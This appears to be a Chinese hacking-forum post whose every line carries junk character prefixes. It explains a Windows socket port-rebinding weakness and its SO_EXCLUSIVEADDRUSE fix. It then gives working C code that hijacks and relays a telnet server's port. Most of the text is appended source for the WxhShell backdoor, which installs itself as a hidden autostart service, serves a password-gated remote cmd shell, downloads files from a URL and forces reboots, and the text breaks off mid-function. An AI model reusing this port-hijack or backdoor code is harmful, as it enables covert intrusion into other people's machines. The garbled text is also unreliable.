在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_57i[U r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
teET nz_L N 0`)WLW saddr.sin_family = AF_INET;
2'N%KKmJL Y68oBUd_E saddr.sin_addr.s_addr = htonl(INADDR_ANY);
g"F vD_ [ibnI2I]` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Q
xKC5`1 -cOLgrmp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
A5z5e#
,u N U\B 这意味着什么?意味着可以进行如下的攻击:
rZ
*}jD[ ](B+ilr
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>NK*$r8 '(~+
\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
E QMn'> %[5hTf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<kp?*xV]] V|DAw[!6N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}ob#LC, 6 fL=2a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)%gigQZ+ /u5MAl.<[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Koo%mr `cCsJm$V" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N<9CV!_ R9^Vk*`gFU #include
RYy_Ppn96f #include
e'p'{]r<w #include
l7n c8K #include
'tklz* DWORD WINAPI ClientThread(LPVOID lpParam);
`gx_+m^ int main()
HW)> ` {
r 1n l! WORD wVersionRequested;
[a`89'"z DWORD ret;
1o
V\QK& WSADATA wsaData;
7"FsW3an BOOL val;
=:uK$>[ SOCKADDR_IN saddr;
X=8y$Yy SOCKADDR_IN scaddr;
n~@;[=o?5 int err;
5PqL#Eu`! SOCKET s;
I^emH+!MW SOCKET sc;
I&
DEF* int caddsize;
]oUvC HANDLE mt;
r".*l?= DWORD tid;
z;J"3kM wVersionRequested = MAKEWORD( 2, 2 );
>;LXy err = WSAStartup( wVersionRequested, &wsaData );
M2l0x @| if ( err != 0 ) {
iP)`yB5 ` printf("error!WSAStartup failed!\n");
scT,yNV return -1;
$qV, z }
uD4on} saddr.sin_family = AF_INET;
(p>?0h9[ TgoaEufS< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]ri5mnB qs6r9?KP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y w7txp`i saddr.sin_port = htons(23);
'1'De^%6W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bbCH(fYbu {
NO+.n)etGb printf("error!socket failed!\n");
xf% _HMKc return -1;
uB_8P+h7 }
zmB6Y
t val = TRUE;
hSr2<?yk //SO_REUSEADDR选项就是可以实现端口重绑定的
D=Jj !; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]?rVram;z {
NwP!. printf("error!setsockopt failed!\n");
\,&,Q return -1;
P;4Y%Dq~Qo }
iHBetkAu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
H65><38X/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>pdWR1ox //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`\ _>P@qz C>wOoXjt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4z%::? {
iI.pxo
s ret=GetLastError();
|qm_ESzl printf("error!bind failed!\n");
Xt}
4B# return -1;
A#k(0e!O }
!?)ky `S3 listen(s,2);
3b{ 7Z 2 while(1)
Pw+PBIGn4 {
JbX"K< nQ caddsize = sizeof(scaddr);
_@2}zT //接受连接请求
VW&EdrR,S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
JPO'1D) if(sc!=INVALID_SOCKET)
aG_@--= {
M$YU_RPl+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#!?jxfsFa if(mt==NULL)
H?oBax: {
*^aEUp6& printf("Thread Creat Failed!\n");
h@AKfE!\~ break;
!$n@- }
/~~A2.=. }
Aqy y\G; CloseHandle(mt);
3V uoDmG }
O"^3,- closesocket(s);
C fs2tN WSACleanup();
vG'6?%38 return 0;
3-~* }
nwS @r DWORD WINAPI ClientThread(LPVOID lpParam)
u1 Z;n {
ty ESDp% SOCKET ss = (SOCKET)lpParam;
r+:]lO SOCKET sc;
C GN=kQ unsigned char buf[4096];
YN]xI SOCKADDR_IN saddr;
'Dn\.x^]1 long num;
(/gv
U80 DWORD val;
cV$an DWORD ret;
$Z|HFV{ //如果是隐藏端口应用的话,可以在此处加一些判断
FP=up#zl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,ArHS saddr.sin_family = AF_INET;
;O `ZVB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
TW?_fse*[ saddr.sin_port = htons(23);
)d~{gPr. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8NnGN(a*D {
,Iv eKk5W printf("error!socket failed!\n");
~k"r return -1;
^yLhL^Y }
ThvgYv--B val = 100;
_ sqj~|K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&L[i"1a {
@vZeye ret = GetLastError();
9epMw-)k return -1;
cslZ; }
y#T.w0* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r1axC% {
tgyW:<iv ret = GetLastError();
fZ aTckbE return -1;
_lG|t6y }
gU&y5s~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k=W~ot& {
)-\C{> printf("error!socket connect failed!\n");
]-j.\+(* closesocket(sc);
oBO4a^D closesocket(ss);
9r.h^ return -1;
PZ>(cvX& }
**V8a-@ while(1)
n!dXjInV {
yJK:4af;. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R 7h^
@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
[I?[N.v //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G! Y
l0Zr num = recv(ss,buf,4096,0);
,&~-Sq)~ if(num>0)
Ij>G7Q*d send(sc,buf,num,0);
A`~R\j else if(num==0)
i/.#` break;
=,b6yV+$D num = recv(sc,buf,4096,0);
.C\2f+(U if(num>0)
)IVk4| send(ss,buf,num,0);
%9
3R/bx else if(num==0)
^Gi7th, break;
Cnr=1E= }
v M'!WVs closesocket(ss);
t`1M}}. closesocket(sc);
#iKPp0`K* return 0 ;
ExhK\J }
g`z;:ao E~@&&dU8 2qdc$I&$ ==========================================================
sYhHh$mwA GbC@ | 下边附上一个代码,,WXhSHELL
BG6.,'~7o -5oYGLS$y3 ==========================================================
c,^W/:CQAB *knN?`(x #include "stdafx.h"
CNe(]HIOH kQ]4Bo #include <stdio.h>
|:.s6a# ( #include <string.h>
6B|OKwL #include <windows.h>
Yy~xNj5OS #include <winsock2.h>
Q'ZZQ #include <winsvc.h>
,.kmUd #include <urlmon.h>
QOX'ZAB` <5E)6c_W) #pragma comment (lib, "Ws2_32.lib")
:>}7^1I #pragma comment (lib, "urlmon.lib")
k8\KCKql 3@nIoN'z #define MAX_USER 100 // 最大客户端连接数
Q<NQ9lX #define BUF_SOCK 200 // sock buffer
(*M0'5 #define KEY_BUFF 255 // 输入 buffer
cTW$;Fpc+ e"UXG\8D #define REBOOT 0 // 重启
>/Gw)K}#E #define SHUTDOWN 1 // 关机
7+88o:G9 tPa(H; #define DEF_PORT 5000 // 监听端口
ScjeAC) %"cOX #define REG_LEN 16 // 注册表键长度
k')H5h+Q= #define SVC_LEN 80 // NT服务名长度
[,MaAB L8q#_k // 从dll定义API
RH{+8?0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p$G3<Z&7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_Ss}dU9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)Tieef*Q~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k.7!)jL7 VDro(?p8Z // wxhshell配置信息
y #C9@C struct WSCFG {
H,W8JNPs int ws_port; // 监听端口
zB`J+r;LU char ws_passstr[REG_LEN]; // 口令
^rs{1S int ws_autoins; // 安装标记, 1=yes 0=no
lI%RdA[ char ws_regname[REG_LEN]; // 注册表键名
Wy\^} char ws_svcname[REG_LEN]; // 服务名
BL~#-Mm<|l char ws_svcdisp[SVC_LEN]; // 服务显示名
C=CZtjUt char ws_svcdesc[SVC_LEN]; // 服务描述信息
#D#kw*c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C?k\5AzT int ws_downexe; // 下载执行标记, 1=yes 0=no
5VpqDL~d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<& 3[|Ca char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>0[:uu,'> ,cxe"U };
giH#t< )W Zn0a)VH%
// default Wxhshell configuration
KWeE!f 7G struct WSCFG wscfg={DEF_PORT,
GGo~39G "xuhuanlingzhe",
G)^/#d#& 1,
skXzck "Wxhshell",
{0lu>?< "Wxhshell",
/NjBC[P "WxhShell Service",
auB
931| "Wrsky Windows CmdShell Service",
:{^~&jgL "Please Input Your Password: ",
c#CV5J\Kk3 1,
*3P+K:2lNG "
http://www.wrsky.com/wxhshell.exe",
&^K(9" "Wxhshell.exe"
:Tv>)N };
daP_Kz/2K 7x77s // 消息定义模块
`\|@w@f|; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Nmd{C(^o char *msg_ws_prompt="\n\r? for help\n\r#>";
St(jrZb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$&qLrKJ char *msg_ws_ext="\n\rExit.";
* ] char *msg_ws_end="\n\rQuit.";
j'Jb+@W? char *msg_ws_boot="\n\rReboot...";
J+Fev.9> char *msg_ws_poff="\n\rShutdown...";
kGs\"zZM char *msg_ws_down="\n\rSave to ";
?w!8;xS8 ~NPhVlT char *msg_ws_err="\n\rErr!";
6`iYIXnz char *msg_ws_ok="\n\rOK!";
*zN~x(0{E U}4I29M char ExeFile[MAX_PATH];
WUjRnzVM int nUser = 0;
}Xk_
xQVt{ HANDLE handles[MAX_USER];
Sk"hqF.2 int OsIsNt;
~QlF(@ue "g)bNgGV} SERVICE_STATUS serviceStatus;
',!jYh}Uxk SERVICE_STATUS_HANDLE hServiceStatusHandle;
OiXO<1'$ .gGO+8[N* // 函数声明
7QnWw0 int Install(void);
mA$86 X_ int Uninstall(void);
1=5HQ~|[TO int DownloadFile(char *sURL, SOCKET wsh);
Z9NND int Boot(int flag);
3bXfR,U void HideProc(void);
7.Z- int GetOsVer(void);
*!TQC6b$ int Wxhshell(SOCKET wsl);
@%*2\8}C! void TalkWithClient(void *cs);
!s^XWsb8 int CmdShell(SOCKET sock);
z. X
hE \ int StartFromService(void);
M9o/6 int StartWxhshell(LPSTR lpCmdLine);
oK-d58 sM ?<BI)[B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&o7PB`(l VOID WINAPI NTServiceHandler( DWORD fdwControl );
(3$DUvx7 ^fe,A=k~1 // 数据结构和表定义
_68vSYr SERVICE_TABLE_ENTRY DispatchTable[] =
XkkzY5rxOc {
!;mn]wR>a {wscfg.ws_svcname, NTServiceMain},
TmftEw>u {NULL, NULL}
z;P# };
F!g1.49"" rNJU &
.] // 自我安装
o~e_M- int Install(void)
]T|$nwQ {
;-JF b$m char svExeFile[MAX_PATH];
!ht2*8$lQ HKEY key;
Wu<;QY($5 strcpy(svExeFile,ExeFile);
@k)J
i!7 P7zUf // 如果是win9x系统,修改注册表设为自启动
6M`gy|"(~ if(!OsIsNt) {
)eT>[['fm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hu} vYA7ZH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o?m1 RegCloseKey(key);
/>}zB![(K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&4 KUXn[F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;,6C&|n]w RegCloseKey(key);
-0<vmU return 0;
sbX7VfAR` }
j;b>~_ U% }
~E((n }
[ dVBsi else {
fCN+9!ljG` kppi>!6 // 如果是NT以上系统,安装为系统服务
QEbf]U= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_b/zBFa% if (schSCManager!=0)
Jn d_cJ ]a {
{4A,&pR SC_HANDLE schService = CreateService
gED|2%BXb (
G/FDD{y schSCManager,
uq-`1m} wscfg.ws_svcname,
2Sa{=x
N) wscfg.ws_svcdisp,
`JDZR:bMaT SERVICE_ALL_ACCESS,
ZiQ<SSo: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%Vltc4QU SERVICE_AUTO_START,
Yq51+\d SERVICE_ERROR_NORMAL,
IO9|o!&> svExeFile,
j;E$7QH[ NULL,
&+@`Si= NULL,
1goRO NULL,
H[nBNz)C NULL,
;`Xm?N NULL
%z1^ );
?Y
-;781 if (schService!=0)
T30fp {
d>mZY66P CloseServiceHandle(schService);
=bja\r{ CloseServiceHandle(schSCManager);
gg rYf* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"OYD9Q'' strcat(svExeFile,wscfg.ws_svcname);
#BcUE?K*N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
41d+z>a] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<z2.A/L RegCloseKey(key);
`:~Wu/Ogr return 0;
gCPH>8JwS0 }
9O-~Ws ; }
M&hNkJK*G CloseServiceHandle(schSCManager);
'R'hRMD9o }
,aUbB8 }
0fBwy/: /3rNX}tOMH return 1;
2jC:uk }
KMkD6g RD)Vb$.B: // 自我卸载
u0arJU_.) int Uninstall(void)
CUG"2K9 {
/bo=,%wJ[ HKEY key;
b\H&E{Gn|x Yb<:1?76L if(!OsIsNt) {
{V(~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"5k6FV RegDeleteValue(key,wscfg.ws_regname);
o938!jML_ RegCloseKey(key);
\W TKw x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5NN;Fw+ RegDeleteValue(key,wscfg.ws_regname);
(!5Pl`:j" RegCloseKey(key);
1;c># 20 return 0;
C{^I}p }
|;~2y>E }
LXxQI(RO }
U`EOun, else {
dL+yd0b* '{.4~: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4.wrY6+V if (schSCManager!=0)
%5zIh[!1$ {
9'sZi}rT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gI2'[OU if (schService!=0)
_<mY| {
?.F^Oi6
u if(DeleteService(schService)!=0) {
uQn1kI[y CloseServiceHandle(schService);
n!~ $Z/ CloseServiceHandle(schSCManager);
8]vut{ return 0;
u&S0 }
G;vj3#u? CloseServiceHandle(schService);
|4pl}:g/Z }
?qSwV.l]d CloseServiceHandle(schSCManager);
2bw), W }
xSM1b5=Pu }
nj;3U^ r0[<[jEh return 1;
8N"WKBj|_d }
h
x5M)8#+ CYE[$*g6y // 从指定url下载文件
x"C7NW[$ int DownloadFile(char *sURL, SOCKET wsh)
%>9L}OAm {
[QQM/ ? HRESULT hr;
_oG%bNM char seps[]= "/";
nIlTzrf6 char *token;
l1<=3+d char *file;
<a=OiY char myURL[MAX_PATH];
Hik=(pTu> char myFILE[MAX_PATH];
oLX[!0M^ t>N2K-8Qh strcpy(myURL,sURL);
T+B-R\@t token=strtok(myURL,seps);
8LPWT! S while(token!=NULL)
%B#T"=Cx {
1QD49) file=token;
6XZjZ*)W token=strtok(NULL,seps);
H{N},B }
XY? Cl AD`5:G GetCurrentDirectory(MAX_PATH,myFILE);
O wu?ND strcat(myFILE, "\\");
O>nMeU strcat(myFILE, file);
*BM#fe send(wsh,myFILE,strlen(myFILE),0);
ackeq# send(wsh,"...",3,0);
0nD?X+ u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>\:GFD{z if(hr==S_OK)
xq,ql@7 return 0;
rA?<\* else
]v>[r?X#V return 1;
D bi ^% 7R79[:uwJ }
`'XN2-M8 v%2Dz // 系统电源模块
j-**\.4a~ int Boot(int flag)
oidK_mU9q {
n!8W@qhew HANDLE hToken;
i4k [#x TOKEN_PRIVILEGES tkp;
6[R6P:v&'G 3`{
vx if(OsIsNt) {
W,yLGz \ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.IY@Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ey U6^ tkp.PrivilegeCount = 1;
Vfk"}k/do tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
J[Mj8ee# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ev3'EA~` if(flag==REBOOT) {
NV(jp'i~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
t$t'{*t(
T return 0;
ND.(N'/O }
I9xu3izAmR else {
(b[=~Nh' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
owA8hGF return 0;
C<9GdN }
3[_WTwX0 }
PbS1`8|4 else {
*3={s"a.( if(flag==REBOOT) {
v_U/0
0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&XI9%h9| return 0;
-^`s#0( y^ }
_](y<O^9yO else {
b5]<!~Fv:` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
T;{}bc&I return 0;
L.-qTh^P }
b~ *iL!< }
$ `\qY ^.( :a2[d1 return 1;
G~u$BV' }
nr&| keD?#yY // win9x进程隐藏模块
ju;OQC~[L] void HideProc(void)
iumwhb {
Ce}m$k pnx^a}|px HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zx:;0Z:S6> if ( hKernel != NULL )
6+ptL-Zt< {
c'VCCXe pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$>_`.*I/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BT0;I FreeLibrary(hKernel);
Uj 4HVd }
$\]Mvd u^^jt(j return;
`.pd %\ }
nwfu@h0G 0(u}z // 获取操作系统版本
d
{ P$}b int GetOsVer(void)
=Xid"$ {
C{t}q*fG
5 OSVERSIONINFO winfo;
M3!;u%~}s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`S?_=JIX GetVersionEx(&winfo);
!h}Vz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
aA>!p{/x return 1;
y,jpd#Y else
D_ej%QtB@ return 0;
)`Qr=DIsW }
/GJL&RMx p(4B"[ !S // 客户端句柄模块
T.;U~< int Wxhshell(SOCKET wsl)
?kV_!2U)'K {
XrMw$_0) SOCKET wsh;
K+L9cv4 |* struct sockaddr_in client;
+G!#
/u1 DWORD myID;
!J {[XT vg X7B4 while(nUser<MAX_USER)
z$g__q- {
y!S:d int nSize=sizeof(client);
= 4|"<8' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4/3w
* if(wsh==INVALID_SOCKET) return 1;
\f Kn} ]kG ei1;@k/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b"td]H3h if(handles[nUser]==0)
pV:44 closesocket(wsh);
fh1-]$z`~ else
DW7Jk"\GH nUser++;
As^eL/m2L }
\YF;/KwX$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9[YnY~z) oL>o*/ return 0;
d%q&[<'jf }
n^qwE `)w=@9B)" // 关闭 socket
G'wW-| void CloseIt(SOCKET wsh)
AhjCRYk+ {
g.8^ )u closesocket(wsh);
=mcQe^M nUser--;
n
>E1\($ ExitThread(0);
*N{k#d/ }
u!It';j |KPNl\%ID // 客户端请求句柄
/Gb)BJk! void TalkWithClient(void *cs)
}LEasj {
Lew
2Z "_BWUY SOCKET wsh=(SOCKET)cs;
|VyN>&r~6 char pwd[SVC_LEN];
B'vIL ' char cmd[KEY_BUFF];
1Zo3K<*J char chr[1];
5OFB[ int i,j;
D^];6\=.i D6yE/QeK4 while (nUser < MAX_USER) {
5yV>-XT+- &g*1 If if(wscfg.ws_passstr) {
@l_rB~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c5KciTD^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w'xPKO$bzR //ZeroMemory(pwd,KEY_BUFF);
^foCcO i=0;
A~0yMww:$ while(i<SVC_LEN) {
k"/}9[6:U5 x @9rc,by // 设置超时
fL'Ci;.;+ fd_set FdRead;
w; f LnEz_ struct timeval TimeOut;
\l5G FD_ZERO(&FdRead);
4Uwcc):f FD_SET(wsh,&FdRead);
7fT_]H8 TimeOut.tv_sec=8;
8 r0;054 TimeOut.tv_usec=0;
o9]!*Y!RA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wYv++<
z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r=RiuxxTq (v}l#M7w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R"F: ( pwd
=chr[0]; i{HzY[
if(chr[0]==0xd || chr[0]==0xa) { *J4\KU
pwd=0; :V)=/mR
break; LiGECqWBa'
} 0NvicZ7VR
i++; Z)u_2e
} +& M>J|
Q+U" %
// 如果是非法用户,关闭 socket Ogh,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \K
Kt&bKL
} v//Drj
`'bu8JK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1u }2}c|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uXG$YDKqC
|F~U
while(1) { "p>kiNu
Te^_gdf
ZeroMemory(cmd,KEY_BUFF); Je K0><
8ux
// 自动支持客户端 telnet标准 o7v9xm+
j=0; ;_=dB[M
while(j<KEY_BUFF) { m^tf=O<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %~lTQCPE
cmd[j]=chr[0]; zmFKd5
if(chr[0]==0xa || chr[0]==0xd) { 3JF" O+@
cmd[j]=0; "1Y DT-I"
break; r|953e
}
SmAF+d
j++; _2}/rwVg
} wu}Zu
%=vU
Z4
// 下载文件 iVM% ]\
if(strstr(cmd,"http://")) { )Tn(!.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); M=5hp&=
if(DownloadFile(cmd,wsh)) \@
N[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +xYg<AFS
else ]99;7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S'IQbHz*
} 5~i}!n
else { 3#`Sk`z<
Te>m9Pav
switch(cmd[0]) { sA,2gbW
"@jYZm8
// 帮助 ~yRKNH*M
case '?': { _G^ 4KwYp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -x>2Wb~%
break; lt0byn$vz
} LdX'V]ITh
// 安装 vH"^a/95|
case 'i': { x^ Y sXzu
if(Install()) j>hBNz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <M,=(p{
else FeZGPxc~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gJOD+~
break; 9*[!ux7h
} % )}rQqQ
// 卸载 (/_w23rr
case 'r': { [](] "r
if(Uninstall()) 6dqI{T-i?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /t _QA
else %Lfy!]Ru
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FOSC#W9E
break; mFuHZ)iQG
} ua%j}%G(
// 显示 wxhshell 所在路径 xyi4U(;
case 'p': { <
_<?p&
char svExeFile[MAX_PATH]; Tl-Ix&37
strcpy(svExeFile,"\n\r"); AXPdgo6
strcat(svExeFile,ExeFile); |h2=9\:]
send(wsh,svExeFile,strlen(svExeFile),0); E*#5OT
break; -b'/}zz
} 3\a VZx!
// 重启 TA!6|)BUW
case 'b': { ,o6,(jJU
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c/-PEsk_TP
if(Boot(REBOOT)) `Wp& 'X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OC Wyp
else { Ak,T{;rD
closesocket(wsh); G8Zl[8
ExitThread(0); S+-V16{i
} ,TQ;DxB}=E
break; lxtt+R
} ?q}:ojrs1
// 关机 c#8@>;
case 'd': { YZ/2:[b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lQ?_1H~4=
if(Boot(SHUTDOWN)) E5t
/-4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fI-f Gx
else {
xnC5WF7
closesocket(wsh); pw=o}-P{
ExitThread(0); JYa3xeC;
} Qsr+f~"W
break; z v:o$2Z
} L?b;TjLe
// 获取shell U/>l>J5
case 's': { -}"nb-RR\
CmdShell(wsh); 3F{R$M}
closesocket(wsh); nF=[m; ~
ExitThread(0); )S|&3\
break; kQO5sX$;
} ~5n?=
// 退出 g ~>nT>6
case 'x': { dIk9C|-.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xgZ<.r
CloseIt(wsh); 256V
xn
break;
(xMq(g
} rh6 e
// 离开 4'H)h'#C
case 'q': { TZa LB}4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ARkjYt
closesocket(wsh); Ny]]L
WSACleanup(); fq !CB]C
exit(1); 4\14HcTcK
break; *!`bC@E
} Cuo"6, M
} lYy:A%yDT
} <(BIWm*
-;GB Xq
// 提示信息 8FgF6ip
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5$/Me=g<
} iy|xF~
} FES0lw{G#
7E R!>l+
return; xm> y3WC
} \d
QRQL{LL
/1?{,Das=
// shell模块句柄 PH=O>a`a_O
int CmdShell(SOCKET sock) Hh &s.ja
{ *)Pb-c
STARTUPINFO si; 2Kw i4R
ZeroMemory(&si,sizeof(si)); JUTlJyx8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {/!Yavx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )9kp[hY
PROCESS_INFORMATION ProcessInfo; cxnEcX\
char cmdline[]="cmd"; &8hW~G>(m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k j&hn
return 0; @Pf['BF"
} aa\?k\h'7X
QX+&[G!DZH
// 自身启动模式 [B%:!Q)@
int StartFromService(void) {N@tJ,Fh{
{ D1cnf"y^
typedef struct *.+N?%sAP)
{ jgT *=/GH2
DWORD ExitStatus; #x(3>}
DWORD PebBaseAddress; ]9hhAT44
DWORD AffinityMask; /rv=mlpRL
DWORD BasePriority; >S:+&VN`M
ULONG UniqueProcessId; TR!7@Mu3
ULONG InheritedFromUniqueProcessId; v8K4u)
